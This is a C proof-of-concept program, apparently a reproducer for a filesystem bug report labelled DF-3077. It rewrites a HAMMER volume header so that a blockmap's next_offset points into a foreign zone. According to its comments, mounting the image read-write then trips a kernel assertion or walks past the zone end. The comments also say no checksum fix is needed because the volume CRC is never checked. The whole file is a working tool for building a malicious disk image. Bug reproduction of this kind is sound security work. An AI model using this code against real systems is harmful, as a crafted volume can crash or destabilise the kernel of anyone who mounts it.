DF-3077 / craft_3077.c
/* * craft_3077.c - DF-3040-style volume-header patcher for DF-3077: * sets vol0_blockmap[HAMMER_ZONE_LARGE_DATA_INDEX].next_offset into a * FOREIGN zone nibble (zone+1), so the first data-zone allocation on a RW * mount trips the INVARIANTS entry check * KKASSERT(HAMMER_ZONE_DECODE(blockmap->next_offset) == zone) * (hammer_blockmap.c:137) or walks off the end without ever equaling the * zone-end sentinel (:162). * * No CRC fixup: vol_crc is never verified (DF-3042). * usage: craft_3077 <img> [zone_idx] */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <inttypes.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <stddef.h> #include <hammer_disk.h> #define OOF(x) offsetof(struct hammer_volume_ondisk, x) static void dump_map(const char *tag, struct hammer_blockmap *bm) { printf("%s: phys=%016jx first=%016jx next=%016jx alloc=%016jx\n", tag, (uintmax_t)bm->phys_offset, (uintmax_t)bm->first_offset, (uintmax_t)bm->next_offset, (uintmax_t)bm->alloc_offset); } int main(int ac, char **av) { struct hammer_volume_ondisk hdr; struct hammer_blockmap *bm; int fd, zone; off_t mapoff; if (ac != 2 && ac != 3) { fprintf(stderr, "usage: craft_3077 <img> [zone_idx]\n"); return (2); } zone = (ac == 3) ? atoi(av[2]) : HAMMER_ZONE_LARGE_DATA_INDEX; fd = open(av[1], O_RDWR); if (fd < 0) { perror("open"); return (1); } if (pread(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pread"); return (1); } if (hdr.vol_signature != HAMMER_FSBUF_VOLUME) { fprintf(stderr, "not a hammer volume\n"); return (1); } mapoff = OOF(vol0_blockmap) + zone * sizeof(struct hammer_blockmap); bm = (struct hammer_blockmap *)((char *)&hdr + mapoff); dump_map("BEFORE", bm); /* * Push next_offset one zone nibble up without ever equaling the * zone-end sentinel: zone+1 base offset. */ bm->next_offset = HAMMER_ZONE_ENCODE(zone + 1, 0); if (pwrite(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pwrite"); return (1); } dump_map("AFTER ", bm); printf("crafted: zone %d next_offset -> %016jx (foreign zone %d)\n", zone, (uintmax_t)bm->next_offset, zone + 1); close(fd); return (0); } |